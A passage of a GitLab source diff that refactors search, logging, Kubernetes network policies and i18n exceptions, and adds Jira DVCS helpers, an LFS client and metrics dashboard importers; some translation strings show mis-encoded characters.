+ def ordering_by_similarity?(order_value)
+ order_value.to_sql.match?(/SIMILARITY\(.+\*/)
+ end
end
end
end
diff --git a/lib/gitlab/graphql/representation/submodule_tree_entry.rb b/lib/gitlab/graphql/representation/submodule_tree_entry.rb
index 8d17cb9eecc..aa5e74cc837 100644
--- a/lib/gitlab/graphql/representation/submodule_tree_entry.rb
+++ b/lib/gitlab/graphql/representation/submodule_tree_entry.rb
@@ -24,11 +24,11 @@ module Gitlab
end
def web_url
- @submodule_links.first
+ @submodule_links&.web
end
def tree_url
- @submodule_links.last
+ @submodule_links&.tree
end
end
end
diff --git a/lib/gitlab/group_search_results.rb b/lib/gitlab/group_search_results.rb
index eb4361cdc53..0cc3de297ba 100644
--- a/lib/gitlab/group_search_results.rb
+++ b/lib/gitlab/group_search_results.rb
@@ -4,28 +4,32 @@ module Gitlab
class GroupSearchResults < SearchResults
attr_reader :group
- def initialize(current_user, limit_projects, group, query, default_project_filter: false)
- super(current_user, limit_projects, query, default_project_filter: default_project_filter)
-
+ def initialize(current_user, query, limit_projects = nil, group:, default_project_filter: false, filters: {})
@group = group
+
+ super(current_user, query, limit_projects, default_project_filter: default_project_filter, filters: filters)
end
# rubocop:disable CodeReuse/ActiveRecord
def users
- # 1: get all groups the current user has access to
- groups = GroupsFinder.new(current_user).execute.joins(:users)
+ # get all groups the current user has access to
+ # ignore order inherited from GroupsFinder to improve performance
+ current_user_groups = GroupsFinder.new(current_user).execute.unscope(:order)
+
+ # the hierarchy of the current group
+ group_groups = @group.self_and_hierarchy.unscope(:order)
+
+ # the groups where the above hierarchies intersect
+ intersect_groups = group_groups.where(id: current_user_groups)
- # 2: Get the group's whole hierarchy
- group_users = @group.direct_and_indirect_users
+ # members of @group hierarchy where the user has access to the groups
+ members = GroupMember.where(group: intersect_groups).non_invite
- # 3: get all users the current user has access to (->
- # `SearchResults#users`), which also applies the query.
+ # get all users the current user has access to (-> `SearchResults#users`), which also applies the query
users = super
- # 4: filter for users that belong to the previously selected groups
- users
- .where(id: group_users.select('id'))
- .where(id: groups.select('members.user_id'))
+ # filter users that belong to the previously selected groups
+ users.where(id: members.select(:user_id))
end
# rubocop:enable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/hashed_storage/migrator.rb b/lib/gitlab/hashed_storage/migrator.rb
index b72d08549fe..b57560544c8 100644
--- a/lib/gitlab/hashed_storage/migrator.rb
+++ b/lib/gitlab/hashed_storage/migrator.rb
@@ -62,28 +62,24 @@ module Gitlab
# Flag a project to be migrated to Hashed Storage
#
# @param [Project] project that will be migrated
- # rubocop:disable Gitlab/RailsLogger
def migrate(project)
- Rails.logger.info "Starting storage migration of #{project.full_path} (ID=#{project.id})..."
+ Gitlab::AppLogger.info "Starting storage migration of #{project.full_path} (ID=#{project.id})..."
project.migrate_to_hashed_storage!
rescue => err
- Rails.logger.error("#{err.message} migrating storage of #{project.full_path} (ID=#{project.id}), trace - #{err.backtrace}")
+ Gitlab::AppLogger.error("#{err.message} migrating storage of #{project.full_path} (ID=#{project.id}), trace - #{err.backtrace}")
end
- # rubocop:enable Gitlab/RailsLogger
# Flag a project to be rolled-back to Legacy Storage
#
# @param [Project] project that will be rolled-back
- # rubocop:disable Gitlab/RailsLogger
def rollback(project)
- Rails.logger.info "Starting storage rollback of #{project.full_path} (ID=#{project.id})..."
+ Gitlab::AppLogger.info "Starting storage rollback of #{project.full_path} (ID=#{project.id})..."
project.rollback_to_legacy_storage!
rescue => err
- Rails.logger.error("#{err.message} rolling-back storage of #{project.full_path} (ID=#{project.id}), trace - #{err.backtrace}")
+ Gitlab::AppLogger.error("#{err.message} rolling-back storage of #{project.full_path} (ID=#{project.id}), trace - #{err.backtrace}")
end
- # rubocop:enable Gitlab/RailsLogger
# Returns whether we have any pending storage migration
#
@@ -97,6 +93,14 @@ module Gitlab
any_non_empty_queue?(::HashedStorage::RollbackerWorker, ::HashedStorage::ProjectRollbackWorker)
end
+ # Remove all remaining scheduled rollback operations
+ #
+ def abort_rollback!
+ [::HashedStorage::RollbackerWorker, ::HashedStorage::ProjectRollbackWorker].each do |worker|
+ Sidekiq::Queue.new(worker.queue).clear
+ end
+ end
+
private
def any_non_empty_queue?(*workers)
diff --git a/lib/gitlab/health_checks/simple_abstract_check.rb b/lib/gitlab/health_checks/simple_abstract_check.rb
index 4e0b9296819..ae99768b7b4 100644
--- a/lib/gitlab/health_checks/simple_abstract_check.rb
+++ b/lib/gitlab/health_checks/simple_abstract_check.rb
@@ -24,7 +24,7 @@ module Gitlab
result, elapsed = with_timing(&method(:check))
return if result.nil?
- Rails.logger.error("#{human_name} check returned unexpected result #{result}") unless successful?(result) # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error("#{human_name} check returned unexpected result #{result}") unless successful?(result)
[
metric("#{metric_prefix}_timeout", result.is_a?(Timeout::Error) ? 1 : 0),
metric("#{metric_prefix}_success", successful?(result) ? 1 : 0),
diff --git a/lib/gitlab/highlight.rb b/lib/gitlab/highlight.rb
index 07c43fa4832..40dee0142b9 100644
--- a/lib/gitlab/highlight.rb
+++ b/lib/gitlab/highlight.rb
@@ -3,8 +3,8 @@
module Gitlab
class Highlight
TIMEOUT_BACKGROUND = 30.seconds
- TIMEOUT_FOREGROUND = 3.seconds
- MAXIMUM_TEXT_HIGHLIGHT_SIZE = 1.megabyte
+ TIMEOUT_FOREGROUND = 1.5.seconds
+ MAXIMUM_TEXT_HIGHLIGHT_SIZE = 512.kilobytes
def self.highlight(blob_name, blob_content, language: nil, plain: false)
new(blob_name, blob_content, language: language)
@@ -31,8 +31,8 @@ module Gitlab
def lexer
@lexer ||= custom_language || begin
Rouge::Lexer.guess(filename: @blob_name, source: @blob_content).new
- rescue Rouge::Guesser::Ambiguous => e
- e.alternatives.min_by(&:tag)
+ rescue Rouge::Guesser::Ambiguous => e
+ e.alternatives.min_by(&:tag)
end
end
diff --git a/lib/gitlab/http.rb b/lib/gitlab/http.rb
index 559e1828a70..be87dcc0ff9 100644
--- a/lib/gitlab/http.rb
+++ b/lib/gitlab/http.rb
@@ -35,7 +35,7 @@ module Gitlab
def self.perform_request(http_method, path, options, &block)
log_info = options.delete(:extra_log_info)
options_with_timeouts =
- if !options.has_key?(:timeout) && Feature.enabled?(:http_default_timeouts)
+ if !options.has_key?(:timeout)
options.with_defaults(DEFAULT_TIMEOUT_OPTIONS)
else
options
diff --git a/lib/gitlab/i18n/html_todo.yml b/lib/gitlab/i18n/html_todo.yml
index bfd96ba8579..91e01f8a0b8 100644
--- a/lib/gitlab/i18n/html_todo.yml
+++ b/lib/gitlab/i18n/html_todo.yml
@@ -16,67 +16,6 @@
# why this change has been made.
#
-" or <!merge request id>":
- translations:
- - " ወይሠ<!merge request id>"
- - " ou <!merge request id>"
- - " ã¾ãŸã¯ <!merge request id>"
- - "或 <!åˆä½µè«‹æ±‚ id>"
- - " или <!merge request id>"
- - "或<!merge request id>"
- - " або <!merge request id>"
- - " oder <!merge request id>"
- - " o <!merge request id>"
- - " ë˜ëŠ” <!merge request id>"
- - " o <!merge request id>"
- - " veya <!merge request id>"
- - " neu <!merge request id>"
- - " neu <#issue id>"
-" or <#issue id>":
- translations:
- - "或 <#issue id>"
- - " ወይሠ‹#issue id›"
- - " ou <identificación #issue>"
- - " ou <#issue id>"
- - " ã¾ãŸã¯ <#課題 ID>"
- - " o <#issue id>"
- - "或 <#議題 id>"
- - " ou <#issue id>"
- - " или <#issue id>"
- - "或 <#issue id>"
- - " або <#issue id>"
- - " oder <#issue id>"
- - " o <#issue id>"
- - " ë˜ëŠ” <#issue id>"
- - " ou <#issue id>"
- - " o <#issue id>"
- - " veya <#issue id>"
- - " neu <#issue id>"
-" or <&epic id>":
- translations:
- - " ወይሠ<&epic id>"
- - " ã¾ãŸã¯ <&エピックID>"
- - " 或 <#å²è©© id>"
- - " или <&epic id>"
- - " 或<#epic id>"
- - " або <&epic id>"
- - " oder <&epic id>"
- - " o <&epic id>"
- - " veya <&epic id>"
- - " neu <#epic id>"
- - " ë˜ëŠ” <&epic id>"
-"< 1 hour":
- translations:
- - "1 時間未満"
- - "< 1 å°æ™‚"
- - "< 1 чаÑа"
- - "< 1å°æ—¶"
- - "< 1 години"
- - "< 1 hora"
- - "< 1 saat"
- - "< 1 Stunde"
- - "< 1시간"
-
#
# Strings below are fixed in the source code but the translations are still present in CrowdIn so the
# locale files will fail the linter. They can be deleted after next CrowdIn sync, likely in:
@@ -313,3 +252,63 @@
- "Vous êtes sur le point de d’activer la confidentialité. Cela signifie que seuls les membres de l’équipe avec <strong>au moins un accès en tant que rapporteur</strong> seront en mesure de voir et de laisser des commentaires sur le ticket."
- "Va a activar la confidencialidad. Esto significa que solo los miembros del equipo con como mínimo,<strong>acceso como Reporter</strong> podrán ver y dejar comentarios sobre la incidencia."
- "ã‚ãªãŸã¯éžå…¬é–‹è¨­å®šã‚’オンã«ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã‚Œã¯ã€æœ€ä½Žã§ã‚‚<strong>報告権é™</strong>ã‚’æŒã£ãŸãƒãƒ¼ãƒ ãƒ¡ãƒ³ãƒãƒ¼ã®ã¿ãŒèª²é¡Œã‚’表示ã—ãŸã‚Šã‚³ãƒ¡ãƒ³ãƒˆã‚’残ã—ãŸã‚Šã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ãªã‚‹ã¨ã„ã†ã“ã¨ã§ã™ã€‚"
+" or <!merge request id>":
+ translations:
+ - " ወይሠ<!merge request id>"
+ - " ou <!merge request id>"
+ - " ã¾ãŸã¯ <!merge request id>"
+ - "或 <!åˆä½µè«‹æ±‚ id>"
+ - " или <!merge request id>"
+ - "或<!merge request id>"
+ - " або <!merge request id>"
+ - " oder <!merge request id>"
+ - " o <!merge request id>"
+ - " ë˜ëŠ” <!merge request id>"
+ - " o <!merge request id>"
+ - " veya <!merge request id>"
+ - " neu <!merge request id>"
+ - " neu <#issue id>"
+" or <#issue id>":
+ translations:
+ - "或 <#issue id>"
+ - " ወይሠ‹#issue id›"
+ - " ou <identificación #issue>"
+ - " ou <#issue id>"
+ - " ã¾ãŸã¯ <#課題 ID>"
+ - " o <#issue id>"
+ - "或 <#議題 id>"
+ - " ou <#issue id>"
+ - " или <#issue id>"
+ - "或 <#issue id>"
+ - " або <#issue id>"
+ - " oder <#issue id>"
+ - " o <#issue id>"
+ - " ë˜ëŠ” <#issue id>"
+ - " ou <#issue id>"
+ - " o <#issue id>"
+ - " veya <#issue id>"
+ - " neu <#issue id>"
+" or <&epic id>":
+ translations:
+ - " ወይሠ<&epic id>"
+ - " ã¾ãŸã¯ <&エピックID>"
+ - " 或 <#å²è©© id>"
+ - " или <&epic id>"
+ - " 或<#epic id>"
+ - " або <&epic id>"
+ - " oder <&epic id>"
+ - " o <&epic id>"
+ - " veya <&epic id>"
+ - " neu <#epic id>"
+ - " ë˜ëŠ” <&epic id>"
+"< 1 hour":
+ translations:
+ - "1 時間未満"
+ - "< 1 å°æ™‚"
+ - "< 1 чаÑа"
+ - "< 1å°æ—¶"
+ - "< 1 години"
+ - "< 1 hora"
+ - "< 1 saat"
+ - "< 1 Stunde"
+ - "< 1시간"
diff --git a/lib/gitlab/import_export/lfs_saver.rb b/lib/gitlab/import_export/lfs_saver.rb
index 18c590e1ca9..515fd98630c 100644
--- a/lib/gitlab/import_export/lfs_saver.rb
+++ b/lib/gitlab/import_export/lfs_saver.rb
@@ -16,7 +16,7 @@ module Gitlab
end
def save
- project.all_lfs_objects.find_in_batches(batch_size: BATCH_SIZE) do |batch|
+ project.lfs_objects.find_in_batches(batch_size: BATCH_SIZE) do |batch|
batch.each do |lfs_object|
save_lfs_object(lfs_object)
end
diff --git a/lib/gitlab/import_export/project/import_export.yml b/lib/gitlab/import_export/project/import_export.yml
index a240c367a42..9ec5df8cde9 100644
--- a/lib/gitlab/import_export/project/import_export.yml
+++ b/lib/gitlab/import_export/project/import_export.yml
@@ -190,8 +190,20 @@ excluded_attributes:
- :stored_externally
- :external_diff_store
- :merge_request_id
+ - :verification_retry_at
+ - :verified_at
+ - :verification_retry_count
+ - :verification_checksum
+ - :verification_failure
merge_request_diff_commits:
- :merge_request_diff_id
+ merge_request_diff_detail:
+ - :merge_request_diff_id
+ - :verification_retry_at
+ - :verified_at
+ - :verification_retry_count
+ - :verification_checksum
+ - :verification_failure
merge_request_diff_files:
- :diff
- :external_diff_offset
diff --git a/lib/gitlab/jira/dvcs.rb b/lib/gitlab/jira/dvcs.rb
new file mode 100644
index 00000000000..4415f98fc7f
--- /dev/null
+++ b/lib/gitlab/jira/dvcs.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Jira
+ module Dvcs
+ ENCODED_SLASH = '@'.freeze
+ SLASH = '/'.freeze
+ ENCODED_ROUTE_REGEX = /[a-zA-Z0-9_\-\.#{ENCODED_SLASH}]+/.freeze
+
+ def self.encode_slash(path)
+ path.gsub(SLASH, ENCODED_SLASH)
+ end
+
+ def self.decode_slash(path)
+ path.gsub(ENCODED_SLASH, SLASH)
+ end
+
+ # To present two types of projects stored by Jira,
+ # Type 1 are projects imported prior to nested group support,
+ # those project names are not full_path, so they are presented differently
+ # to maintain backwards compatibility.
+ # Type 2 are projects imported after nested group support,
+ # those project names are encoded full path
+ #
+ # @param [Project] project
+ def self.encode_project_name(project)
+ if project.namespace.has_parent?
+ encode_slash(project.full_path)
+ else
+ project.path
+ end
+ end
+
+ # To interpret two types of project names stored by Jira (see `encode_project_name`)
+ #
+ # @param [String] project
+ # Either an encoded full path, or just project name
+ # @param [String] namespace
+ def self.restore_full_path(namespace:, project:)
+ if project.include?(ENCODED_SLASH)
+ project.gsub(ENCODED_SLASH, SLASH)
+ else
+ "#{namespace}/#{project}"
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/jira/middleware.rb b/lib/gitlab/jira/middleware.rb
new file mode 100644
index 00000000000..8a74729da49
--- /dev/null
+++ b/lib/gitlab/jira/middleware.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Jira
+ class Middleware
+ def self.jira_dvcs_connector?(env)
+ env['HTTP_USER_AGENT']&.downcase&.start_with?('jira dvcs connector')
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ if self.class.jira_dvcs_connector?(env)
+ env['HTTP_AUTHORIZATION'] = env['HTTP_AUTHORIZATION']&.sub('token', 'Bearer')
+ end
+
+ @app.call(env)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/json.rb b/lib/gitlab/json.rb
index d6681347f42..29cfec443e8 100644
--- a/lib/gitlab/json.rb
+++ b/lib/gitlab/json.rb
@@ -22,7 +22,7 @@ module Gitlab
string = string.to_s unless string.is_a?(String)
legacy_mode = legacy_mode_enabled?(opts.delete(:legacy_mode))
- data = adapter_load(string, opts)
+ data = adapter_load(string, **opts)
handle_legacy_mode!(data) if legacy_mode
diff --git a/lib/gitlab/kas.rb b/lib/gitlab/kas.rb
new file mode 100644
index 00000000000..08dde98e965
--- /dev/null
+++ b/lib/gitlab/kas.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Kas
+ INTERNAL_API_REQUEST_HEADER = 'Gitlab-Kas-Api-Request'
+ JWT_ISSUER = 'gitlab-kas'
+
+ include JwtAuthenticatable
+
+ class << self
+ def verify_api_request(request_headers)
+ decode_jwt_for_issuer(JWT_ISSUER, request_headers[INTERNAL_API_REQUEST_HEADER])
+ rescue JWT::DecodeError
+ nil
+ end
+
+ def secret_path
+ Gitlab.config.gitlab_kas.secret_file
+ end
+
+ def ensure_secret!
+ return if File.exist?(secret_path)
+
+ write_secret
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/kubernetes/cilium_network_policy.rb b/lib/gitlab/kubernetes/cilium_network_policy.rb
index 55afd2b586e..9043932bbe5 100644
--- a/lib/gitlab/kubernetes/cilium_network_policy.rb
+++ b/lib/gitlab/kubernetes/cilium_network_policy.rb
@@ -9,8 +9,12 @@ module Gitlab
API_VERSION = "cilium.io/v2"
KIND = 'CiliumNetworkPolicy'
- def initialize(name:, namespace:, selector:, ingress:, resource_version:, labels: nil, creation_timestamp: nil, egress: nil)
+ # We are modeling existing kubernetes resource and don't have
+ # control over amount of parameters.
+ # rubocop:disable Metrics/ParameterLists
+ def initialize(name:, namespace:, selector:, ingress:, resource_version: nil, description: nil, labels: nil, creation_timestamp: nil, egress: nil)
@name = name
+ @description = description
@namespace = namespace
@labels = labels
@creation_timestamp = creation_timestamp
@@ -19,15 +23,7 @@ module Gitlab
@ingress = ingress
@egress = egress
end
-
- def generate
- ::Kubeclient::Resource.new.tap do |resource|
- resource.kind = KIND
- resource.apiVersion = API_VERSION
- resource.metadata = metadata
- resource.spec = spec
- end
- end
+ # rubocop:enable Metrics/ParameterLists
def self.from_yaml(manifest)
return unless manifest
@@ -39,6 +35,7 @@ module Gitlab
spec = policy[:spec]
self.new(
name: metadata[:name],
+ description: policy[:description],
namespace: metadata[:namespace],
resource_version: metadata[:resourceVersion],
labels: metadata[:labels],
@@ -58,6 +55,7 @@ module Gitlab
spec = resource[:spec].to_h
self.new(
name: metadata[:name],
+ description: resource[:description],
namespace: metadata[:namespace],
resource_version: metadata[:resourceVersion],
labels: metadata[:labels]&.to_h,
@@ -68,21 +66,39 @@ module Gitlab
)
end
+ override :resource
+ def resource
+ resource = {
+ apiVersion: API_VERSION,
+ kind: KIND,
+ metadata: metadata,
+ spec: spec
+ }
+ resource[:description] = description if description
+ resource
+ end
+
private
- attr_reader :name, :namespace, :labels, :creation_timestamp, :resource_version, :ingress, :egress
+ attr_reader :name, :description, :namespace, :labels, :creation_timestamp, :resource_version, :ingress, :egress
def selector
@selector ||= {}
end
- override :spec
+ def metadata
+ meta = { name: name, namespace: namespace }
+ meta[:labels] = labels if labels
+ meta[:resourceVersion] = resource_version if resource_version
+ meta
+ end
+
def spec
{
endpointSelector: selector,
ingress: ingress,
egress: egress
- }
+ }.compact
end
end
end
diff --git a/lib/gitlab/kubernetes/kube_client.rb b/lib/gitlab/kubernetes/kube_client.rb
index 9e3cf58bb1e..fa68afd39f5 100644
--- a/lib/gitlab/kubernetes/kube_client.rb
+++ b/lib/gitlab/kubernetes/kube_client.rb
@@ -92,6 +92,7 @@ module Gitlab
# group client
delegate :create_network_policy,
:get_network_policies,
+ :get_network_policy,
:update_network_policy,
:delete_network_policy,
to: :networking_client
@@ -100,6 +101,7 @@ module Gitlab
# group client
delegate :create_cilium_network_policy,
:get_cilium_network_policies,
+ :get_cilium_network_policy,
:update_cilium_network_policy,
:delete_cilium_network_policy,
to: :cilium_networking_client
diff --git a/lib/gitlab/kubernetes/network_policy.rb b/lib/gitlab/kubernetes/network_policy.rb
index 28810dc4453..c8e9b987443 100644
--- a/lib/gitlab/kubernetes/network_policy.rb
+++ b/lib/gitlab/kubernetes/network_policy.rb
@@ -6,6 +6,8 @@ module Gitlab
include NetworkPolicyCommon
extend ::Gitlab::Utils::Override
+ KIND = 'NetworkPolicy'
+
def initialize(name:, namespace:, selector:, ingress:, labels: nil, creation_timestamp: nil, policy_types: ["Ingress"], egress: nil)
@name = name
@namespace = namespace
@@ -17,13 +19,6 @@ module Gitlab
@egress = egress
end
- def generate
- ::Kubeclient::Resource.new.tap do |resource|
- resource.metadata = metadata
- resource.spec = spec
- end
- end
-
def self.from_yaml(manifest)
return unless manifest
@@ -63,6 +58,15 @@ module Gitlab
)
end
+ override :resource
+ def resource
+ {
+ kind: KIND,
+ metadata: metadata,
+ spec: spec
+ }
+ end
+
private
attr_reader :name, :namespace, :labels, :creation_timestamp, :policy_types, :ingress, :egress
@@ -71,7 +75,12 @@ module Gitlab
@selector ||= {}
end
- override :spec
+ def metadata
+ meta = { name: name, namespace: namespace }
+ meta[:labels] = labels if labels
+ meta
+ end
+
def spec
{
podSelector: selector,
diff --git a/lib/gitlab/kubernetes/network_policy_common.rb b/lib/gitlab/kubernetes/network_policy_common.rb
index 3b6e46d21ef..99517454508 100644
--- a/lib/gitlab/kubernetes/network_policy_common.rb
+++ b/lib/gitlab/kubernetes/network_policy_common.rb
@@ -5,6 +5,10 @@ module Gitlab
module NetworkPolicyCommon
DISABLED_BY_LABEL = :'network-policy.gitlab.com/disabled_by'
+ def generate
+ ::Kubeclient::Resource.new(resource)
+ end
+
def as_json(opts = nil)
{
name: name,
@@ -46,19 +50,12 @@ module Gitlab
private
- def metadata
- meta = { name: name, namespace: namespace }
- meta[:labels] = labels if labels
- meta[:resourceVersion] = resource_version if defined?(resource_version)
- meta
- end
-
- def spec
+ def resource
raise NotImplementedError
end
def manifest
- YAML.dump({ metadata: metadata, spec: spec }.deep_stringify_keys)
+ YAML.dump(resource.deep_stringify_keys)
end
end
end
diff --git a/lib/gitlab/lfs/client.rb b/lib/gitlab/lfs/client.rb
new file mode 100644
index 00000000000..e4d600694c2
--- /dev/null
+++ b/lib/gitlab/lfs/client.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+module Gitlab
+ module Lfs
+ # Gitlab::Lfs::Client implements a simple LFS client, designed to talk to
+ # LFS servers as described in these documents:
+ # * https://github.com/git-lfs/git-lfs/blob/master/docs/api/batch.md
+ # * https://github.com/git-lfs/git-lfs/blob/master/docs/api/basic-transfers.md
+ class Client
+ attr_reader :base_url
+
+ def initialize(base_url, credentials:)
+ @base_url = base_url
+ @credentials = credentials
+ end
+
+ def batch(operation, objects)
+ body = {
+ operation: operation,
+ transfers: ['basic'],
+ # We don't know `ref`, so can't send it
+ objects: objects.map { |object| { oid: object.oid, size: object.size } }
+ }
+
+ rsp = Gitlab::HTTP.post(
+ batch_url,
+ basic_auth: basic_auth,
+ body: body.to_json,
+ headers: { 'Content-Type' => 'application/vnd.git-lfs+json' }
+ )
+
+ raise BatchSubmitError unless rsp.success?
+
+ # HTTParty provides rsp.parsed_response, but it only kicks in for the
+ # application/json content type in the response, which we can't rely on
+ body = Gitlab::Json.parse(rsp.body)
+ transfer = body.fetch('transfer', 'basic')
+
+ raise UnsupportedTransferError.new(transfer.inspect) unless transfer == 'basic'
+
+ body
+ end
+
+ def upload(object, upload_action, authenticated:)
+ file = object.file.open
+
+ params = {
+ body_stream: file,
+ headers: {
+ 'Content-Length' => object.size.to_s,
+ 'Content-Type' => 'application/octet-stream'
+ }.merge(upload_action['header'] || {})
+ }
+
+ params[:basic_auth] = basic_auth unless authenticated
+
+ rsp = Gitlab::HTTP.put(upload_action['href'], params)
+
+ raise ObjectUploadError unless rsp.success?
+ ensure
+ file&.close
+ end
+
+ private
+
+ attr_reader :credentials
+
+ def batch_url
+ base_url + '/info/lfs/objects/batch'
+ end
+
+ def basic_auth
+ return unless credentials[:auth_method] == "password"
+
+ { username: credentials[:user], password: credentials[:password] }
+ end
+
+ class BatchSubmitError < StandardError
+ def message
+ "Failed to submit batch"
+ end
+ end
+
+ class UnsupportedTransferError < StandardError
+ def initialize(transfer = nil)
+ super
+ @transfer = transfer
+ end
+
+ def message
+ "Unsupported transfer: #{@transfer}"
+ end
+ end
+
+ class ObjectUploadError < StandardError
+ def message
+ "Failed to upload object"
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/logger.rb b/lib/gitlab/logger.rb
index 2ec8c268d09..89a4e36a232 100644
--- a/lib/gitlab/logger.rb
+++ b/lib/gitlab/logger.rb
@@ -32,7 +32,8 @@ module Gitlab
end
def self.build
- Gitlab::SafeRequestStore[self.cache_key] ||= new(self.full_log_path)
+ Gitlab::SafeRequestStore[self.cache_key] ||=
+ new(self.full_log_path, level: ::Logger::DEBUG)
end
def self.full_log_path
diff --git a/lib/gitlab/marginalia/comment.rb b/lib/gitlab/marginalia/comment.rb
index d5dae5ef4b3..7b4e4b06f00 100644
--- a/lib/gitlab/marginalia/comment.rb
+++ b/lib/gitlab/marginalia/comment.rb
@@ -28,7 +28,7 @@ module Gitlab
# We are using 'Marginalia::SidekiqInstrumentation' which does not support 'ActiveJob::Base'.
# Gitlab also uses 'ActionMailer::MailDeliveryJob' which inherits from ActiveJob::Base.
# So below condition is used to return metadata for such jobs.
- if job.is_a?(ActionMailer::MailDeliveryJob) || job.is_a?(ActionMailer::DeliveryJob)
+ if job.is_a?(ActionMailer::MailDeliveryJob)
{
"class" => job.arguments.first,
"jid" => job.job_id
diff --git a/lib/gitlab/metrics/dashboard/importer.rb b/lib/gitlab/metrics/dashboard/importer.rb
new file mode 100644
index 00000000000..ca835650648
--- /dev/null
+++ b/lib/gitlab/metrics/dashboard/importer.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Metrics
+ module Dashboard
+ class Importer
+ def initialize(dashboard_path, project)
+ @dashboard_path = dashboard_path.to_s
+ @project = project
+ end
+
+ def execute
+ return false unless Dashboard::Validator.validate(dashboard_hash, project: project, dashboard_path: dashboard_path)
+
+ Dashboard::Importers::PrometheusMetrics.new(dashboard_hash, project: project, dashboard_path: dashboard_path).execute
+ rescue Gitlab::Config::Loader::FormatError
+ false
+ end
+
+ def execute!
+ Dashboard::Validator.validate!(dashboard_hash, project: project, dashboard_path: dashboard_path)
+
+ Dashboard::Importers::PrometheusMetrics.new(dashboard_hash, project: project, dashboard_path: dashboard_path).execute!
+ end
+
+ private
+
+ attr_accessor :dashboard_path, :project
+
+ def dashboard_hash
+ @dashboard_hash ||= begin
+ raw_dashboard = Dashboard::RepoDashboardFinder.read_dashboard(project, dashboard_path)
+ return unless raw_dashboard.present?
+
+ ::Gitlab::Config::Loader::Yaml.new(raw_dashboard).load_raw!
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/metrics/dashboard/importers/prometheus_metrics.rb b/lib/gitlab/metrics/dashboard/importers/prometheus_metrics.rb
new file mode 100644
index 00000000000..d1490d5d9b6
--- /dev/null
+++ b/lib/gitlab/metrics/dashboard/importers/prometheus_metrics.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Metrics
+ module Dashboard
+ module Importers
+ class PrometheusMetrics
+ ALLOWED_ATTRIBUTES = %i(title query y_label unit legend group dashboard_path).freeze
+
+ # Takes a JSON schema validated dashboard hash and
+ # imports metrics to database
+ def initialize(dashboard_hash, project:, dashboard_path:)
+ @dashboard_hash = dashboard_hash
+ @project = project
+ @dashboard_path = dashboard_path
+ end
+
+ def execute
+ import
+ rescue ActiveRecord::RecordInvalid, ::Gitlab::Metrics::Dashboard::Transformers::TransformerError
+ false
+ end
+
+ def execute!
+ import
+ end
+
+ private
+
+ attr_reader :dashboard_hash, :project, :dashboard_path
+
+ def import
+ delete_stale_metrics
+ create_or_update_metrics
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def create_or_update_metrics
+ # TODO: use upsert and worker for callbacks?
+ prometheus_metrics_attributes.each do |attributes|
+ prometheus_metric = PrometheusMetric.find_or_initialize_by(attributes.slice(:identifier, :project))
+ prometheus_metric.update!(attributes.slice(*ALLOWED_ATTRIBUTES))
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def delete_stale_metrics
+ identifiers = prometheus_metrics_attributes.map { |metric_attributes| metric_attributes[:identifier] }
+
+ stale_metrics = PrometheusMetric.for_project(project)
+ .for_dashboard_path(dashboard_path)
+ .for_group(Enums::PrometheusMetric.groups[:custom])
+ .not_identifier(identifiers)
+
+ # TODO: use destroy_all and worker for callbacks?
+ stale_metrics.each(&:destroy)
+ end
+
+ def prometheus_metrics_attributes
+ @prometheus_metrics_attributes ||= begin
+ Dashboard::Transformers::Yml::V1::PrometheusMetrics.new(
+ dashboard_hash,
+ project: project,
+ dashboard_path: dashboard_path
+ ).execute
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/metrics/dashboard/stages/custom_metrics_details_inserter.rb b/lib/gitlab/metrics/dashboard/stages/custom_metrics_details_inserter.rb
index cfec027155e..06cfa5cc58e 100644
--- a/lib/gitlab/metrics/dashboard/stages/custom_metrics_details_inserter.rb
+++ b/lib/gitlab/metrics/dashboard/stages/custom_metrics_details_inserter.rb
@@ -27,7 +27,7 @@ module Gitlab
private
def custom_group_titles
- @custom_group_titles ||= PrometheusMetricEnums.custom_group_details.values.map { |group_details| group_details[:group_title] }
+ @custom_group_titles ||= Enums::PrometheusMetric.custom_group_details.values.map { |group_details| group_details[:group_title] }
end
def edit_path(metric)
diff --git a/lib/gitlab/metrics/dashboard/transformers/errors.rb b/lib/gitlab/metrics/dashboard/transformers/errors.rb
new file mode 100644
index 00000000000..4d94ab098ae
--- /dev/null
+++ b/lib/gitlab/metrics/dashboard/transformers/errors.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Metrics
+ module Dashboard
+ module Transformers
+ TransformerError = Class.new(StandardError)
+
+ module Errors
+ class MissingAttribute < TransformerError
+ def initialize(attribute_name)
+ super("Missing attribute: '#{attribute_name}'")
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics.rb b/lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics.rb
new file mode 100644
index 00000000000..4e46eec17d6
--- /dev/null
+++ b/lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Metrics
+ module Dashboard
+ module Transformers
+ module Yml
+ module V1
+ # Takes a JSON schema validated dashboard hash and
+ # maps it to PrometheusMetric model attributes
+ class PrometheusMetrics
+ def initialize(dashboard_hash, project: nil, dashboard_path: nil)
+ @dashboard_hash = dashboard_hash.with_indifferent_access
+ @project = project
+ @dashboard_path = dashboard_path
+
